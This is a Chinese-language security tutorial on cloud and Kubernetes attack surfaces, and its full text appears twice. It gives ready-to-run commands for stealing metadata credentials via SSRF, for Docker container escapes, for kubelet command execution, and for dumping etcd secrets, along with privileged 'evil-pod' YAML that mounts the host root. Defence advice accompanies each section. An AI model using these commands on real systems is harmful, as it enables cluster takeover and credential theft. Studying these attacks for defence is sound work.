云服务与云原生攻防全解析:从对象存储风险到 K8s 容器逃逸
字数 8669 2025-09-23 19:27:46

云服务与云原生攻防全解析教学文档

一、 云上攻防

1.1 云服务安全-基础解释

云服务(Cloud Service)

一种通过互联网按需提供计算资源、存储、数据库、网络、软件等服务的模式,无需用户直接管理底层基础设施。

云数据库(RDS - Relational Database Service)

云服务商提供的托管式关系型数据库服务,负责处理数据库的安装、维护、备份、扩容等运维工作,用户主要通过公网或内网连接使用。

身份和访问管理(IAM)

云平台的核心安全服务,用于管理和控制用户、服务对云资源的访问权限。核心是最小权限原则

对象存储(Object Storage)

核心定义:一种用于存储海量非结构化数据(如图片、视频、文档、备份文件等)的服务。数据以“对象”为单位存储,每个对象包含数据本身、元数据和一个全局唯一的标识符(Key)。

各厂商产品命名

  • 阿里云:OSS (Object Storage Service)
  • 腾讯云:COS (Cloud Object Storage)
  • 亚马逊AWS:S3 (Simple Storage Service)
  • 谷歌云:GCS (Google Cloud Storage)

核心概念:Bucket

  • 类似于文件系统中的顶层目录或存储桶,是对象的容器。
  • 每个Bucket的名称必须在整个云平台内全局唯一。
  • 存储和访问控制策略通常在Bucket级别进行配置。

1.2 云服务攻防-对象存储安全

风险 1:权限配置不当

Bucket ACL 权限类型及风险

  • private:私有,仅所有者可读写(安全)。
  • public-read:公共读,任何人可读,仅所有者可写(高风险,易导致敏感数据泄露)。
  • public-read-write:公共读写,任何人可读写(极高风险,可能导致数据被篡改、上传恶意文件)。

实战利用方法

  1. 信息收集:通过特定域名格式猜测Bucket名称(如 {bucket-name}.oss-{region}.aliyuncs.com)。
  2. 权限探测
    • 直接通过浏览器或curl访问目标Bucket的URL。
    • 使用工具进行扫描,如 oss-internetS3Scannercloud_enum
  3. 数据利用:若配置为public-read,可直接浏览、列出、下载存储桶内的敏感文件。

风险 2:域名解析接管

漏洞原理
用户将自定义域名(如 static.example.com)通过CNAME记录解析到云服务商的对象存储端点(如 my-bucket.oss-cn-hangzhou.aliyuncs.com)。之后,若该存储桶被删除或配置更改,但域名解析记录未被移除,攻击者可以抢先注册同名的存储桶,从而接管该域名的流量。

漏洞判断与利用步骤

  1. 发现域名:收集目标的子域名,特别是那些可能指向云存储的(如 static, assets, media)。
  2. 检查解析:使用 dignslookup 确认域名是否CNAME解析到云服务端点。
  3. 尝试接管:尝试在对应的云平台上创建同名Bucket。
  4. 验证利用:访问该域名,若内容由攻击者控制,则证明接管成功。可用于挂马、钓鱼、窃取数据等。

防御建议

  • 及时清理无效的DNS解析记录。
  • 使用难以猜测的Bucket名称。
  • 对已删除的Bucket名称进行保留注册。

风险 3:AccessKey 泄露

AccessKey 作用与泄露场景

  • 作用:AccessKey(由AccessKey ID和AccessKey Secret组成)是访问云API的密钥,相当于用户名和密码,拥有明确的权限。
  • 泄露场景
    • 代码仓库(GitHub等)硬编码泄露。
    • 客户端应用、网页源代码中泄露。
    • 员工电脑中毒,文件被窃取。
    • 错误日志记录。

实战利用方法

  1. 获取AccessKey:通过上述渠道发现AccessKey。
  2. 配置客户端:使用云服务商提供的命令行工具(如 aliyun CLI, aws CLI)或SDK,配置泄露的AccessKey。
  3. 权限探测:使用命令行工具执行命令,如 aliyun oss ls(列出Bucket)、aliyun ram GetUser(获取用户信息)来探测该Key的权限。
  4. 利用权限
    • 若权限过大,可直接列出、下载、删除Bucket数据。
    • 创建高权限用户,维持持久访问。
    • 甚至可创建或销毁云服务器实例。

防御建议

  • 遵循最小权限原则,为应用程序分配仅所需权限的RAM用户/角色。
  • 严禁在代码、客户端中硬编码AccessKey,使用动态凭证(如STS Token)或服务器端代理。
  • 启用配置检查,对Bucket的公共读策略进行告警。
  • 定期轮转AccessKey。

1.3 云服务攻防-弹性计算服务安全

服务定义与命名

  • 弹性计算服务(ECS):提供可扩展的计算能力,即云服务器(虚拟机)。
  • 阿里云:ECS (Elastic Compute Service)
  • 亚马逊AWS:EC2 (Elastic Compute Cloud)
  • 腾讯云:CVM (Cloud Virtual Machine)

核心风险:元数据泄露与 SSRF 结合
元数据(Instance Metadata)定义
云服务器实例内部用于访问自身元数据的服务。通过一个固定的内网IP地址(如阿里云 100.100.100.200,AWS 169.254.169.254)即可获取实例的详细信息,包括:实例ID、区域、网络配置、临时访问凭证(STS Token)等。

漏洞原理:SSRF + 元数据泄露
当云服务器上的Web应用存在SSRF(服务器端请求伪造)漏洞时,攻击者可以诱骗应用服务器向元数据服务地址发起请求,从而获取到实例的元数据,特别是高权限的临时AccessKey。

实战利用场景与步骤
场景 1:获取 ECS 权限后横向移动

  1. 已获得一台ECS的shell权限。
  2. 在机器内部执行 curl http://100.100.100.200/latest/meta-data/ 查看元数据。
  3. 获取临时安全令牌(curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>)。
  4. 使用该临时凭证在其他权限范围内进行横向移动。

场景 2:通过 SSRF 漏洞获取临时 AK

  1. 发现目标网站存在SSRF漏洞(如 url=http://internal-service)。
  2. 利用漏洞构造请求访问元数据地址:url=http://169.254.169.254/latest/meta-data/
  3. 逐步遍历元数据路径,最终获取到临时安全令牌。
  4. 使用该临时凭证控制该ECS实例或其关联的云资源。

1.4 云数据库安全风险

风险 1:账户密码泄露与爆破

密码泄露场景

  • 代码泄露(GitHub)。
  • 配置文件泄露。
  • 传输抓包。

爆破工具与防御

  • 工具Hydra, Medusa, 以及各种数据库客户端自带的爆破功能。
  • 防御
    • 使用强密码,避免默认密码。
    • 将数据库部署在VPC内网中,限制公网访问(最重要)。
    • 设置安全组/IP白名单,仅允许信任的IP访问。

风险 2:数据库连接方式与内网转发

  • 即使数据库未开放公网,如果攻击者通过其他方式(如Web漏洞)获得了一台可连接数据库的内网机器的权限,可通过该机器作为“跳板”进行内网转发(如使用 reGeorg, EarthWorm 等工具),从而访问内网数据库。

风险 3:AK 利用与后渗透

  • 同对象存储风险,如果获取到的AccessKey具有RDS相关API的权限(如 CreateAccount, ResetAccountPassword),攻击者可通过API直接创建或重置数据库账号密码,进而登录数据库。

二、 云原生攻防

2.1 Docker 容器安全

Docker 漏洞利用

Docker 逃逸技术详解
虚拟环境判断

  • 检查 /.dockerenv 文件是否存在。
  • 检查 /proc/1/cgroup 是否包含 docker, kubepods 等关键字。

逃逸方法 1:特权容器逃逸(--privileged=true)

  • 原理:使用 --privileged 参数启动的容器拥有宿主机所有设备的权限。
  • 利用
    1. 将宿主机根目录挂载到容器内:mount /dev/sda1 /mnt
    2. 通过 chroot 切换根目录到 /mnt,即可完全控制宿主机文件系统,写入SSH密钥或计划任务。

逃逸方法 2:挂载 Docker Socket 逃逸

  • 原理:Docker Socket文件(/var/run/docker.sock)是Docker守护进程的API入口。将其挂载到容器内,相当于赋予了容器直接与宿主机Docker守护进程通信的能力。
  • 利用
    1. 在容器内安装Docker客户端,通过 -v /:/host 将宿主机根目录挂载到新启动的容器中。
    2. docker run -it -v /:/host ubuntu chroot /host bash

逃逸方法 3:挂载宿主机 procfs 逃逸

  • 原理:误将宿主机/proc目录挂载到容器中。/proc/sys/kernel/core_pattern 文件可用于定义程序崩溃时核心转储的保存路径,通过将其设置为一个程序路径,可导致宿主机以root权限执行任意命令。
  • 利用
    1. echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
    2. 触发一个崩溃,宿主机将执行 /tmp/.x.py

逃逸方法 4:Docker 自身漏洞逃逸(CVE-2019-5736)

  • 原理:Docker runC组件存在漏洞,允许恶意容器覆盖宿主机上的runC二进制文件,从而在宿主机上以root权限执行代码。
  • 利用:使用现成的EXP(如 https://github.com/Frichetten/CVE-2019-5736-PoC)编译执行。

Docker 安全自动化工具

CDK(零依赖容器渗透工具包)

  • Github项目:https://github.com/cdk-team/CDK
  • 功能:综合评估容器内部环境,自动化检测多种逃逸手法(特权模式、挂载、内核漏洞等),并提供利用功能。

Container Escape Check(容器逃逸检测脚本)

  • 类似功能的脚本,用于快速检测容器潜在的逃逸风险点。

2.2 Kubernetes(K8s)安全

K8s 核心概念与架构

K8s解析:用于自动部署、扩展和管理容器化应用程序的开源平台。

核心架构组件

  • Master Node (控制平面):
    • API Server:集群网关,所有通信的唯一入口。
    • etcd:高可用的键值数据库,存储整个集群的状态和配置。
    • Controller Manager:控制器,确保集群处于预期状态。
    • Scheduler:调度器,将Pod分配至Node。
  • Worker Node (工作节点):
    • Kubelet:节点代理,负责与管理平面通信并管理本节点的Pod和容器。
    • Kube-Proxy:维护节点网络规则。
    • Container Runtime:如Docker、containerd。

核心资源对象

  • Pod:K8s最小部署单元,包含一个或多个容器。
  • Deployment:定义Pod的期望状态和副本数。
  • Service:定义一组Pod的访问方式。
  • Namespace:虚拟集群,用于资源隔离。
  • ConfigMap/Secret:存储配置信息和敏感数据。

K8s 安全风险核心逻辑:攻击面主要集中在各个组件(API Server, kubelet, etcd, dashboard)的未授权访问权限过大的ServiceAccount上。

K8s漏洞利用

Ⅰ:API Server 未授权访问(8080 端口)

  • 步骤 1:检测漏洞:直接访问 http://<target-ip>:8080/apihttp://<target-ip>:8080/api/v1/namespaces/default/pods,若返回JSON格式的集群信息,则存在未授权。
  • 步骤 2:安装 kubectl 工具:在攻击机上安装 kubectl
  • 步骤 3:配置 kubectlkubectl config set-cluster pwn --server=http://<target-ip>:8080 --insecure-skip-tls-verify=true && kubectl config set-context pwn --cluster=pwn --user=anonymous && kubectl config use-context pwn
  • 步骤4:通过 kubectl 操作集群:执行 kubectl get pods, kubectl get nodes 等命令验证权限。
  • 步骤 5:容器逃逸:若权限允许,创建特权Pod进行逃逸。
    apiVersion: v1
    kind: Pod
    metadata:
      name: evil-pod
    spec:
      containers:
      - name: evil-container
        image: ubuntu
        command: ["/bin/sh", "-c", "sleep infinity"]
        securityContext:
          privileged: true
        volumeMounts:
        - name: host-root
          mountPath: /host
      volumes:
      - name: host-root
        hostPath:
          path: /
      hostNetwork: true
      hostPID: true
      hostIPC: true
    
    kubectl create -f evil-pod.yaml && kubectl exec -it evil-pod -- chroot /host bash
  • 防御方案:禁用非安全端口(8080),对安全端口(6443)使用强认证和网络策略。

Ⅱ:API Server 6443 端口未授权访问

  • 漏洞原理:与8080端口类似,但6443是TLS端口。如果配置了错误的RBAC或认证,仍可能导致未授权。
  • 漏洞检测与利用:使用 curl -k https://<target-ip>:6443/api/v1/namespaces/default/pods 检测。利用方式同8080端口,只需在kubectl配置中指定 server=https://<target-ip>:6443

Ⅲ:kubelet 10250 端口未授权访问

  • 漏洞原理与配置错误:kubelet默认在10250端口提供API。如果启用了 --anonymous-auth=true(默认)且未配置严格的授权,可导致未授权访问。
  • 漏洞检测与参数提取
    • 步骤 1:漏洞检测curl -k https://<target-ip>:10250/pods 若返回信息,则存在。
    • 步骤 2:提取关键参数(pod/namespace/container):从返回的JSON中提取 metadata.name, metadata.namespace, status.containerStatuses[0].name
  • 实战利用
    • 在Pod中执行命令:curl -k -XPOST "https://<target-ip>:10250/run/<namespace>/<pod-name>/<container-name>" -d "cmd=whoami"
    • 直接获取容器shell:curl -k -XPOST "https://<target-ip>:10250/exec/<namespace>/<pod-name>/<container-name>?command=/bin/bash&command=-i&input=1&output=1&tty=1"
  • 防御方案:设置 --anonymous-auth=false,配置 kubelet 的Webhook授权。

Ⅳ:etcd 2379 端口未授权访问

  • 漏洞原理与 etcd 角色:etcd存储了集群所有数据(Secrets, Tokens等)。若其监听在公网或内网非安全地址,且无认证,则可直接读取。
  • 漏洞检测与利用
    • 步骤 1:漏洞检测curl http://<target-ip>:2379/v2/keys/?recursive=true 或使用 etcdctl
    • 步骤 2:etcdctl 工具安装与配置export ETCDCTL_API=3 && etcdctl --endpoints=http://<target-ip>:2379 get / --prefix
    • 步骤 3:敏感数据窃取:查找Secrets:etcdctl --endpoints=http://<target-ip>:2379 get / --prefix | grep -E '(?i)secret.*key|token|password'
    • 步骤 4:利用 Token 控制集群:从获取的Secret中提取 token 字段,配置 kubectl 使用该token访问API Server。
  • 防御方案:为etcd配置TLS客户端证书认证,使用防火墙严格限制访问源。

Ⅴ: Dashboard 未授权访问后的详细利用流程

  1. 发现 https://<target-ip>:30443(或类似端口)可未授权访问。
  2. 在Dashboard界面创建Pod或上传YAML文件,部署一个特权Pod(YAML同Ⅰ中步骤5)。
  3. 通过Dashboard的exec功能进入该Pod的shell。
  4. 通过挂载宿主机目录完成逃逸。

Ⅵ: Configfile 鉴权文件泄露
什么是 K8s Config 文件kubeconfig 文件(默认 ~/.kube/config)包含集群连接信息、证书和用户认证信息。拥有此文件即拥有其包含的权限。

Config 文件的泄露途径

  • 开发人员机器被入侵。
  • 代码仓库泄露。
  • 容器内部遗留或挂载。

泄露后的利用步骤

  • 步骤 1:获取并验证 config 文件:检查文件内容,确认上下文(context)。
  • 步骤 2:探测权限范围kubectl --kubeconfig=config.yaml auth can-i --list
  • 步骤 3:部署恶意 Pod 并逃逸(完整命令):若权限足够,使用前述YAML创建Pod并逃逸。
  • 步骤 4:长期控制集群:窃取高权限ServiceAccount的token,或创建新的永久的ServiceAccount。

Ⅶ:Proxy 不安全配置
什么是 kubectl proxykubectl proxy 命令会在本地创建一个到API Server的代理服务器。

不安全配置的常见场景:运维人员在公网服务器上执行 kubectl proxy --address=0.0.0.0 --port=8080,导致代理服务暴露在公网。

不安全 Proxy 的利用步骤

  • 步骤 1:探测代理服务可用性:访问 http://<public-ip>:8080/api
  • 步骤 2:获取集群信息(未授权访问):直接通过浏览器或curl访问各种API端点。
  • 步骤 3:执行修改操作(如创建 Pod)curl -XPOST -H "Content-Type: application/yaml" --data-binary @evil-pod.yaml http://<public-ip>:8080/api/v1/namespaces/default/pods
  • 步骤 4:进入 Pod 并逃逸(同前)

Ⅷ: K8s 环境下的污点横移
污点与容忍的核心概念

  • Taint(污点):应用于Node,排斥不容忍这些污点的Pod。
  • Toleration(容忍度):应用于Pod,允许(但不强制)Pod调度到具有匹配污点的Node上。

常见节点污点场景:Master节点通常带有 node-role.kubernetes.io/master:NoSchedule 污点,防止普通工作负载Pod调度上去。

污点横移的攻击背景:攻击者已控制一个普通Pod,希望将恶意Pod部署到受保护的Master节点上,以窃取更高敏感度的信息。

污点横移的详细利用步骤

  • 前提条件:已拥有创建Pod的权限。
  • 步骤 1:获取节点污点与标签信息kubectl get nodes -o wide && kubectl describe node <master-node-name>
  • 步骤 2:创建带容忍与亲和性的恶意 Pod(完整 YAML)
    apiVersion: v1
    kind: Pod
    metadata:
      name: master-pod
    spec:
      tolerations:
      - key: "node-role.kubernetes.io/master"
        operator: "Exists"
        effect: "NoSchedule"
      affinity:
        nodeAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            nodeSelectorTerms:
            - matchExpressions:
              - key: kubernetes.io/hostname
                operator: In
                values:
                - <master-node-name> # 指定调度到master节点
      containers:
      - name: evil
        image: ubuntu
        command: ["/bin/sh", "-c", "sleep infinity"]
        securityContext:
          privileged: true
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /
    
  • 创建该Pod后,即可通过它控制Master节点。

文档说明:本文档根据提供的链接内容提取核心知识点编纂而成,涵盖了从云服务(对象存储、计算、数据库)到云原生(Docker, Kubernetes)的主要攻击面和防御建议,结构清晰,内容详尽,可用于教学和参考。实际操作应在合法授权的环境中进行。

云服务与云原生攻防全解析教学文档 一、 云上攻防 1.1 云服务安全-基础解释 云服务(Cloud Service) 一种通过互联网按需提供计算资源、存储、数据库、网络、软件等服务的模式,无需用户直接管理底层基础设施。 云数据库(RDS - Relational Database Service) 云服务商提供的托管式关系型数据库服务,负责处理数据库的安装、维护、备份、扩容等运维工作,用户主要通过公网或内网连接使用。 身份和访问管理(IAM) 云平台的核心安全服务,用于管理和控制用户、服务对云资源的访问权限。核心是 最小权限原则 。 对象存储(Object Storage) 核心定义 :一种用于存储海量非结构化数据(如图片、视频、文档、备份文件等)的服务。数据以“对象”为单位存储,每个对象包含数据本身、元数据和一个全局唯一的标识符(Key)。 各厂商产品命名 : 阿里云:OSS (Object Storage Service) 腾讯云:COS (Cloud Object Storage) 亚马逊AWS:S3 (Simple Storage Service) 谷歌云:GCS (Google Cloud Storage) 核心概念:Bucket 类似于文件系统中的顶层目录或存储桶,是对象的容器。 每个Bucket的名称必须在整个云平台内全局唯一。 存储和访问控制策略通常在Bucket级别进行配置。 1.2 云服务攻防-对象存储安全 风险 1:权限配置不当 Bucket ACL 权限类型及风险 : private :私有,仅所有者可读写(安全)。 public-read :公共读,任何人可读,仅所有者可写(高风险,易导致敏感数据泄露)。 public-read-write :公共读写,任何人可读写(极高风险,可能导致数据被篡改、上传恶意文件)。 实战利用方法 : 信息收集 :通过特定域名格式猜测Bucket名称(如 {bucket-name}.oss-{region}.aliyuncs.com )。 权限探测 : 直接通过浏览器或 curl 访问目标Bucket的URL。 使用工具进行扫描,如 oss-internet 、 S3Scanner 、 cloud_enum 。 数据利用 :若配置为 public-read ,可直接浏览、列出、下载存储桶内的敏感文件。 风险 2:域名解析接管 漏洞原理 : 用户将自定义域名(如 static.example.com )通过CNAME记录解析到云服务商的对象存储端点(如 my-bucket.oss-cn-hangzhou.aliyuncs.com )。之后,若该存储桶被删除或配置更改,但域名解析记录未被移除,攻击者可以抢先注册同名的存储桶,从而接管该域名的流量。 漏洞判断与利用步骤 : 发现域名 :收集目标的子域名,特别是那些可能指向云存储的(如 static , assets , media )。 检查解析 :使用 dig 或 nslookup 确认域名是否CNAME解析到云服务端点。 尝试接管 :尝试在对应的云平台上创建同名Bucket。 验证利用 :访问该域名,若内容由攻击者控制,则证明接管成功。可用于挂马、钓鱼、窃取数据等。 防御建议 : 及时清理无效的DNS解析记录。 使用难以猜测的Bucket名称。 对已删除的Bucket名称进行保留注册。 风险 3:AccessKey 泄露 AccessKey 作用与泄露场景 : 作用 :AccessKey(由AccessKey ID和AccessKey Secret组成)是访问云API的密钥,相当于用户名和密码,拥有明确的权限。 泄露场景 : 代码仓库(GitHub等)硬编码泄露。 客户端应用、网页源代码中泄露。 员工电脑中毒,文件被窃取。 错误日志记录。 实战利用方法 : 获取AccessKey :通过上述渠道发现AccessKey。 配置客户端 :使用云服务商提供的命令行工具(如 aliyun CLI , aws CLI )或SDK,配置泄露的AccessKey。 权限探测 :使用命令行工具执行命令,如 aliyun oss ls (列出Bucket)、 aliyun ram GetUser (获取用户信息)来探测该Key的权限。 利用权限 : 若权限过大,可直接列出、下载、删除Bucket数据。 创建高权限用户,维持持久访问。 甚至可创建或销毁云服务器实例。 防御建议 : 遵循最小权限原则,为应用程序分配仅所需权限的RAM用户/角色。 严禁在代码、客户端中硬编码AccessKey,使用动态凭证(如STS Token)或服务器端代理。 启用配置检查,对Bucket的公共读策略进行告警。 定期轮转AccessKey。 1.3 云服务攻防-弹性计算服务安全 服务定义与命名 : 弹性计算服务(ECS):提供可扩展的计算能力,即云服务器(虚拟机)。 阿里云:ECS (Elastic Compute Service) 亚马逊AWS:EC2 (Elastic Compute Cloud) 腾讯云:CVM (Cloud Virtual Machine) 核心风险:元数据泄露与 SSRF 结合 元数据(Instance Metadata)定义 : 云服务器实例内部用于访问自身元数据的服务。通过一个固定的内网IP地址(如阿里云 100.100.100.200 ,AWS 169.254.169.254 )即可获取实例的详细信息,包括:实例ID、区域、网络配置、 临时访问凭证(STS Token) 等。 漏洞原理:SSRF + 元数据泄露 : 当云服务器上的Web应用存在SSRF(服务器端请求伪造)漏洞时,攻击者可以诱骗应用服务器向元数据服务地址发起请求,从而获取到实例的元数据,特别是高权限的临时AccessKey。 实战利用场景与步骤 : 场景 1:获取 ECS 权限后横向移动 已获得一台ECS的shell权限。 在机器内部执行 curl http://100.100.100.200/latest/meta-data/ 查看元数据。 获取临时安全令牌( curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name> )。 使用该临时凭证在其他权限范围内进行横向移动。 场景 2:通过 SSRF 漏洞获取临时 AK 发现目标网站存在SSRF漏洞(如 url=http://internal-service )。 利用漏洞构造请求访问元数据地址: url=http://169.254.169.254/latest/meta-data/ 。 逐步遍历元数据路径,最终获取到临时安全令牌。 使用该临时凭证控制该ECS实例或其关联的云资源。 1.4 云数据库安全风险 风险 1:账户密码泄露与爆破 密码泄露场景 : 代码泄露(GitHub)。 配置文件泄露。 传输抓包。 爆破工具与防御 : 工具 : Hydra , Medusa , 以及各种数据库客户端自带的爆破功能。 防御 : 使用强密码,避免默认密码。 将数据库部署在VPC内网中,限制公网访问(最重要)。 设置安全组/IP白名单,仅允许信任的IP访问。 风险 2:数据库连接方式与内网转发 即使数据库未开放公网,如果攻击者通过其他方式(如Web漏洞)获得了一台可连接数据库的内网机器的权限,可通过该机器作为“跳板”进行内网转发(如使用 reGeorg , EarthWorm 等工具),从而访问内网数据库。 风险 3:AK 利用与后渗透 同对象存储风险,如果获取到的AccessKey具有RDS相关API的权限(如 CreateAccount , ResetAccountPassword ),攻击者可通过API直接创建或重置数据库账号密码,进而登录数据库。 二、 云原生攻防 2.1 Docker 容器安全 Docker 漏洞利用 Docker 逃逸技术详解 虚拟环境判断 : 检查 /.dockerenv 文件是否存在。 检查 /proc/1/cgroup 是否包含 docker , kubepods 等关键字。 逃逸方法 1:特权容器逃逸(--privileged=true) 原理 :使用 --privileged 参数启动的容器拥有宿主机所有设备的权限。 利用 : 将宿主机根目录挂载到容器内: mount /dev/sda1 /mnt 通过 chroot 切换根目录到 /mnt ,即可完全控制宿主机文件系统,写入SSH密钥或计划任务。 逃逸方法 2:挂载 Docker Socket 逃逸 原理 :Docker Socket文件( /var/run/docker.sock )是Docker守护进程的API入口。将其挂载到容器内,相当于赋予了容器直接与宿主机Docker守护进程通信的能力。 利用 : 在容器内安装Docker客户端,通过 -v /:/host 将宿主机根目录挂载到新启动的容器中。 docker run -it -v /:/host ubuntu chroot /host bash 逃逸方法 3:挂载宿主机 procfs 逃逸 原理 :误将宿主机 /proc 目录挂载到容器中。 /proc/sys/kernel/core_pattern 文件可用于定义程序崩溃时核心转储的保存路径,通过将其设置为一个程序路径,可导致宿主机以root权限执行任意命令。 利用 : echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern 触发一个崩溃,宿主机将执行 /tmp/.x.py 。 逃逸方法 4:Docker 自身漏洞逃逸(CVE-2019-5736) 原理 :Docker runC组件存在漏洞,允许恶意容器覆盖宿主机上的runC二进制文件,从而在宿主机上以root权限执行代码。 利用 :使用现成的EXP(如 https://github.com/Frichetten/CVE-2019-5736-PoC )编译执行。 Docker 安全自动化工具 CDK(零依赖容器渗透工具包) Github项目: https://github.com/cdk-team/CDK 功能 :综合评估容器内部环境,自动化检测多种逃逸手法(特权模式、挂载、内核漏洞等),并提供利用功能。 Container Escape Check(容器逃逸检测脚本) 类似功能的脚本,用于快速检测容器潜在的逃逸风险点。 2.2 Kubernetes(K8s)安全 K8s 核心概念与架构 K8s解析 :用于自动部署、扩展和管理容器化应用程序的开源平台。 核心架构组件 : Master Node (控制平面) : API Server :集群网关,所有通信的唯一入口。 etcd :高可用的键值数据库,存储整个集群的状态和配置。 Controller Manager :控制器,确保集群处于预期状态。 Scheduler :调度器,将Pod分配至Node。 Worker Node (工作节点) : Kubelet :节点代理,负责与管理平面通信并管理本节点的Pod和容器。 Kube-Proxy :维护节点网络规则。 Container Runtime :如Docker、containerd。 核心资源对象 : Pod :K8s最小部署单元,包含一个或多个容器。 Deployment :定义Pod的期望状态和副本数。 Service :定义一组Pod的访问方式。 Namespace :虚拟集群,用于资源隔离。 ConfigMap/Secret :存储配置信息和敏感数据。 K8s 安全风险核心逻辑 :攻击面主要集中在各个组件(API Server, kubelet, etcd, dashboard)的 未授权访问 和 权限过大的ServiceAccount 上。 K8s漏洞利用 Ⅰ:API Server 未授权访问(8080 端口) 步骤 1:检测漏洞 :直接访问 http://<target-ip>:8080/api 或 http://<target-ip>:8080/api/v1/namespaces/default/pods ,若返回JSON格式的集群信息,则存在未授权。 步骤 2:安装 kubectl 工具 :在攻击机上安装 kubectl 。 步骤 3:配置 kubectl : kubectl config set-cluster pwn --server=http://<target-ip>:8080 --insecure-skip-tls-verify=true && kubectl config set-context pwn --cluster=pwn --user=anonymous && kubectl config use-context pwn 步骤4:通过 kubectl 操作集群 :执行 kubectl get pods , kubectl get nodes 等命令验证权限。 步骤 5:容器逃逸 :若权限允许,创建特权Pod进行逃逸。 kubectl create -f evil-pod.yaml && kubectl exec -it evil-pod -- chroot /host bash 防御方案 :禁用非安全端口(8080),对安全端口(6443)使用强认证和网络策略。 Ⅱ:API Server 6443 端口未授权访问 漏洞原理 :与8080端口类似,但6443是TLS端口。如果配置了错误的RBAC或认证,仍可能导致未授权。 漏洞检测与利用 :使用 curl -k https://<target-ip>:6443/api/v1/namespaces/default/pods 检测。利用方式同8080端口,只需在kubectl配置中指定 server=https://<target-ip>:6443 。 Ⅲ:kubelet 10250 端口未授权访问 漏洞原理与配置错误 :kubelet默认在10250端口提供API。如果启用了 --anonymous-auth=true (默认)且未配置严格的授权,可导致未授权访问。 漏洞检测与参数提取 : 步骤 1:漏洞检测 : curl -k https://<target-ip>:10250/pods 若返回信息,则存在。 步骤 2:提取关键参数(pod/namespace/container) :从返回的JSON中提取 metadata.name , metadata.namespace , status.containerStatuses[0].name 。 实战利用 : 在Pod中执行命令: curl -k -XPOST "https://<target-ip>:10250/run/<namespace>/<pod-name>/<container-name>" -d "cmd=whoami" 直接获取容器shell: curl -k -XPOST "https://<target-ip>:10250/exec/<namespace>/<pod-name>/<container-name>?command=/bin/bash&command=-i&input=1&output=1&tty=1" 防御方案 :设置 --anonymous-auth=false ,配置 kubelet 的Webhook授权。 Ⅳ:etcd 2379 端口未授权访问 漏洞原理与 etcd 角色 :etcd存储了集群所有数据(Secrets, Tokens等)。若其监听在公网或内网非安全地址,且无认证,则可直接读取。 漏洞检测与利用 : 步骤 1:漏洞检测 : curl http://<target-ip>:2379/v2/keys/?recursive=true 或使用 etcdctl 。 步骤 2:etcdctl 工具安装与配置 : export ETCDCTL_API=3 && etcdctl --endpoints=http://<target-ip>:2379 get / --prefix 步骤 3:敏感数据窃取 :查找Secrets: etcdctl --endpoints=http://<target-ip>:2379 get / --prefix | grep -E '(?i)secret.*key|token|password' 步骤 4:利用 Token 控制集群 :从获取的Secret中提取 token 字段,配置 kubectl 使用该token访问API Server。 防御方案 :为etcd配置TLS客户端证书认证,使用防火墙严格限制访问源。 Ⅴ: Dashboard 未授权访问后的详细利用流程 发现 https://<target-ip>:30443 (或类似端口)可未授权访问。 在Dashboard界面创建Pod或上传YAML文件,部署一个特权Pod(YAML同Ⅰ中步骤5)。 通过Dashboard的exec功能进入该Pod的shell。 通过挂载宿主机目录完成逃逸。 Ⅵ: Configfile 鉴权文件泄露 什么是 K8s Config 文件 : kubeconfig 文件(默认 ~/.kube/config )包含集群连接信息、证书和用户认证信息。拥有此文件即拥有其包含的权限。 Config 文件的泄露途径 : 开发人员机器被入侵。 代码仓库泄露。 容器内部遗留或挂载。 泄露后的利用步骤 : 步骤 1:获取并验证 config 文件 :检查文件内容,确认上下文(context)。 步骤 2:探测权限范围 : kubectl --kubeconfig=config.yaml auth can-i --list 步骤 3:部署恶意 Pod 并逃逸(完整命令) :若权限足够,使用前述YAML创建Pod并逃逸。 步骤 4:长期控制集群 :窃取高权限ServiceAccount的token,或创建新的永久的ServiceAccount。 Ⅶ:Proxy 不安全配置 什么是 kubectl proxy : kubectl proxy 命令会在本地创建一个到API Server的代理服务器。 不安全配置的常见场景 :运维人员在公网服务器上执行 kubectl proxy --address=0.0.0.0 --port=8080 ,导致代理服务暴露在公网。 不安全 Proxy 的利用步骤 : 步骤 1:探测代理服务可用性 :访问 http://<public-ip>:8080/api 。 步骤 2:获取集群信息(未授权访问) :直接通过浏览器或curl访问各种API端点。 步骤 3:执行修改操作(如创建 Pod) : curl -XPOST -H "Content-Type: application/yaml" --data-binary @evil-pod.yaml http://<public-ip>:8080/api/v1/namespaces/default/pods 步骤 4:进入 Pod 并逃逸(同前) 。 Ⅷ: K8s 环境下的污点横移 污点与容忍的核心概念 : Taint (污点):应用于Node,排斥不容忍这些污点的Pod。 Toleration (容忍度):应用于Pod,允许(但不强制)Pod调度到具有匹配污点的Node上。 常见节点污点场景 :Master节点通常带有 node-role.kubernetes.io/master:NoSchedule 污点,防止普通工作负载Pod调度上去。 污点横移的攻击背景 :攻击者已控制一个普通Pod,希望将恶意Pod部署到受保护的Master节点上,以窃取更高敏感度的信息。 污点横移的详细利用步骤 : 前提条件 :已拥有创建Pod的权限。 步骤 1:获取节点污点与标签信息 : kubectl get nodes -o wide && kubectl describe node <master-node-name> 步骤 2:创建带容忍与亲和性的恶意 Pod(完整 YAML) : 创建该Pod后,即可通过它控制Master节点。 文档说明 :本文档根据提供的链接内容提取核心知识点编纂而成,涵盖了从云服务(对象存储、计算、数据库)到云原生(Docker, Kubernetes)的主要攻击面和防御建议,结构清晰,内容详尽,可用于教学和参考。实际操作应在合法授权的环境中进行。